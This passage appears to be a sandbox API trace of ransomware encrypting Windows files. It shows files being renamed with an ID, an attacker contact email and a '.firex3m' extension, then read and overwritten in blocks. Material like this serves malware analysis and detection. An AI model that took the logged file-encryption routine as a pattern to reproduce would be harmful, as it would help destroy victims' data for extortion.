nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f5750*, lpNumberOfBytesRead=0x5c3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0098.352] GetProcessHeap () returned 0x630000 [0098.352] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8730 [0098.352] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.352] WriteFile (in: hFile=0x6bc, lpBuffer=0x704bf28*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x704bf28*, lpNumberOfBytesWritten=0x5c3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0098.353] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.353] WriteFile (in: hFile=0x6bc, lpBuffer=0x7057327*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7057327*, lpNumberOfBytesWritten=0x5c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0098.353] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.353] WriteFile (in: hFile=0x6bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0098.353] CloseHandle (hObject=0x6bc) returned 1 [0098.356] GetProcessHeap () returned 0x630000 [0098.356] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x704bf28 | out: hHeap=0x630000) returned 1 [0098.356] GetProcessHeap () returned 0x630000 [0098.356] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f5750 | out: hHeap=0x630000) returned 1 [0098.356] GetProcessHeap () returned 0x630000 [0098.356] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8730 | out: hHeap=0x630000) returned 1 [0098.356] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0098.356] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fcc4 | out: lpFindFileData=0x5c3fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x93b9f3, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xed30, dwReserved0=0xaec7496, dwReserved1=0x6f5748, cFileName="LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d4f80 [0098.356] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0098.356] Sleep (dwMilliseconds=0x1) [0099.886] Sleep (dwMilliseconds=0x1) [0101.150] Sleep (dwMilliseconds=0x1) [0101.868] Sleep (dwMilliseconds=0x1) [0102.279] Sleep (dwMilliseconds=0x1) [0102.476] Sleep (dwMilliseconds=0x1) [0102.664] Sleep (dwMilliseconds=0x1) [0102.929] Sleep (dwMilliseconds=0x1) [0103.089] Sleep (dwMilliseconds=0x1) [0103.194] Sleep (dwMilliseconds=0x1) [0103.498] Sleep (dwMilliseconds=0x1) [0104.375] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx", len=0x32 | out: pbstr=0x5c3ff7c*="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 1 [0104.375] GetProcessHeap () returned 0x630000 [0104.375] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6eeb28, Size=0x4c) returned 0x6ef158 [0104.375] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b0 [0104.402] CloseHandle (hObject=0x6b0) returned 1 [0104.402] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.402] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0104.403] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0104.403] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fc6c | out: lpFindFileData=0x5c3fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb177aca, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb177aca, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SMBServer%4Security.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MIE16E~1.FIR")) returned 0x6d4f40 [0104.403] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0104.403] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b0 [0104.404] GetProcessHeap () returned 0x630000 [0104.404] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x701e900 [0104.404] GetProcessHeap () returned 0x630000 [0104.404] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7029d30 [0104.405] SetFilePointerEx (in: hFile=0x6b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.405] ReadFile (in: hFile=0x6b0, lpBuffer=0x701e900, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x701e900*, lpNumberOfBytesRead=0x5c3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0112.439] GetProcessHeap () returned 0x630000 [0112.439] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee4e0 [0112.439] SetFilePointerEx (in: hFile=0x6b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.439] WriteFile (in: hFile=0x6b0, lpBuffer=0x7029d30*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7029d30*, lpNumberOfBytesWritten=0x5c3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0112.440] SetFilePointerEx (in: hFile=0x6b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.440] WriteFile (in: hFile=0x6b0, lpBuffer=0x703512f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x703512f*, lpNumberOfBytesWritten=0x5c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0112.440] SetFilePointerEx (in: hFile=0x6b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.440] WriteFile (in: hFile=0x6b0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0112.440] CloseHandle (hObject=0x6b0) returned 1 [0112.442] GetProcessHeap () returned 0x630000 [0112.442] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7029d30 | out: hHeap=0x630000) returned 1 [0112.442] GetProcessHeap () returned 0x630000 [0112.442] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x701e900 | out: hHeap=0x630000) returned 1 [0112.442] GetProcessHeap () returned 0x630000 [0112.443] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee4e0 | out: hHeap=0x630000) returned 1 [0112.443] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0112.443] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fcc4 | out: lpFindFileData=0x5c3fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb177aca, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb177aca, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x8f6e6e4, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11024, dwReserved0=0xaec7496, dwReserved1=0x701e8f8, cFileName="Microsoft-Windows-SMBServer%4Security.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MIE16E~1.FIR")) returned 0x6d5400 [0112.443] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0112.443] Sleep (dwMilliseconds=0x1) [0113.619] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml", len=0x4f | out: pbstr=0x5c3ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 1 [0113.619] GetProcessHeap () returned 0x630000 [0113.619] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed5f58, Size=0x28) returned 0x699af8 [0113.619] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0113.619] Sleep (dwMilliseconds=0x1) [0114.248] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml", len=0x3c | out: pbstr=0x5c3ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml") returned 1 [0114.248] GetProcessHeap () returned 0x630000 [0114.248] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x727b68, Size=0x7c) returned 0x727ae0 [0114.248] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.250] Sleep (dwMilliseconds=0x1) [0114.262] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml", len=0x3c | out: pbstr=0x5c3ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml") returned 1 [0114.262] GetProcessHeap () returned 0x630000 [0114.262] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68ff78, Size=0x70) returned 0x6ff0ca0 [0114.262] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.263] Sleep (dwMilliseconds=0x1) [0114.278] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml", len=0x3d | out: pbstr=0x5c3ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml") returned 1 [0114.278] GetProcessHeap () returned 0x630000 [0114.278] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ff0ca0, Size=0x6c) returned 0x6ff09d0 [0114.278] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.279] Sleep (dwMilliseconds=0x1) [0114.293] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml", len=0x3d | out: pbstr=0x5c3ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml") returned 1 [0114.294] GetProcessHeap () returned 0x630000 [0114.294] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ff09d0, Size=0x68) returned 0x697b60 [0114.294] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.294] Sleep (dwMilliseconds=0x1) [0114.311] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml", len=0x4c | out: pbstr=0x5c3ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 1 [0114.311] GetProcessHeap () returned 0x630000 [0114.311] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b02b8, Size=0x14) returned 0x6b0318 [0114.311] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.312] Sleep (dwMilliseconds=0x1) [0114.325] Sleep (dwMilliseconds=0x1) [0114.404] Sleep (dwMilliseconds=0x1) [0114.420] Sleep (dwMilliseconds=0x1) [0114.440] Sleep (dwMilliseconds=0x1) [0114.513] Sleep (dwMilliseconds=0x1) [0114.553] Sleep (dwMilliseconds=0x1) [0114.559] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml", len=0x3d | out: pbstr=0x5c3ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml") returned 1 [0114.559] GetProcessHeap () returned 0x630000 [0114.559] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b02b8, Size=0x14) returned 0x6b04b8 [0114.559] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.562] Sleep (dwMilliseconds=0x1) [0114.579] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml", len=0x3d | out: pbstr=0x5c3ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml") returned 1 [0114.579] GetProcessHeap () returned 0x630000 [0114.579] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699798, Size=0x20) returned 0x6e8fe0 [0114.579] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.587] Sleep (dwMilliseconds=0x1) [0114.603] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml", len=0x4c | out: pbstr=0x5c3ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml") returned 1 [0114.603] GetProcessHeap () returned 0x630000 [0114.603] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e90d0, Size=0x1c) returned 0x6e8fe0 [0114.603] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\languagemodel\\chstic.dgml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.603] Sleep (dwMilliseconds=0x1) [0114.921] Sleep (dwMilliseconds=0x1) [0115.210] Sleep (dwMilliseconds=0x1) [0115.505] Sleep (dwMilliseconds=0x1) [0115.903] Sleep (dwMilliseconds=0x1) [0116.376] Sleep (dwMilliseconds=0x1) [0116.404] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe", len=0x32 | out: pbstr=0x5c3ff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 1 [0116.404] GetProcessHeap () returned 0x630000 [0116.404] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e8fe0, Size=0x18) returned 0x6b0178 [0116.404] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0116.457] CloseHandle (hObject=0x4bc) returned 1 [0116.457] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.457] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0116.531] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0116.531] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fc6c | out: lpFindFileData=0x5c3fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x13a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="javacpl.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="JAVACP~2.FIR")) returned 0x6d5340 [0116.532] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0116.532] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0116.532] GetProcessHeap () returned 0x630000 [0116.532] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ef49c0 [0116.532] GetProcessHeap () returned 0x630000 [0116.532] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71c0048 [0116.533] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.533] ReadFile (in: hFile=0x4bc, lpBuffer=0x6ef49c0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ef49c0*, lpNumberOfBytesRead=0x5c3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0122.177] GetProcessHeap () returned 0x630000 [0122.177] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feeeb8 [0122.177] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.177] WriteFile (in: hFile=0x4bc, lpBuffer=0x71c0048*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71c0048*, lpNumberOfBytesWritten=0x5c3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0122.177] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.177] WriteFile (in: hFile=0x4bc, lpBuffer=0x71cb447*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71cb447*, lpNumberOfBytesWritten=0x5c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0122.177] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.177] WriteFile (in: hFile=0x4bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0122.178] CloseHandle (hObject=0x4bc) returned 1 [0122.180] GetProcessHeap () returned 0x630000 [0122.180] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71c0048 | out: hHeap=0x630000) returned 1 [0122.180] GetProcessHeap () returned 0x630000 [0122.180] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ef49c0 | out: hHeap=0x630000) returned 1 [0122.180] GetProcessHeap () returned 0x630000 [0122.180] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feeeb8 | out: hHeap=0x630000) returned 1 [0124.054] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0124.054] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fcc4 | out: lpFindFileData=0x5c3fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xec5869a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x13a64, dwReserved0=0xaec7496, dwReserved1=0x6ef49b8, cFileName="javacpl.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="JAVACP~2.FIR")) returned 0x6d5240 [0124.054] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0124.054] Sleep (dwMilliseconds=0x1) [0124.165] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x5c3ff7c*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 1 [0124.165] GetProcessHeap () returned 0x630000 [0124.165] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x14c) returned 0x66a3e0 [0124.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0124.173] CloseHandle (hObject=0x6f8) returned 1 [0124.173] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0124.173] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft 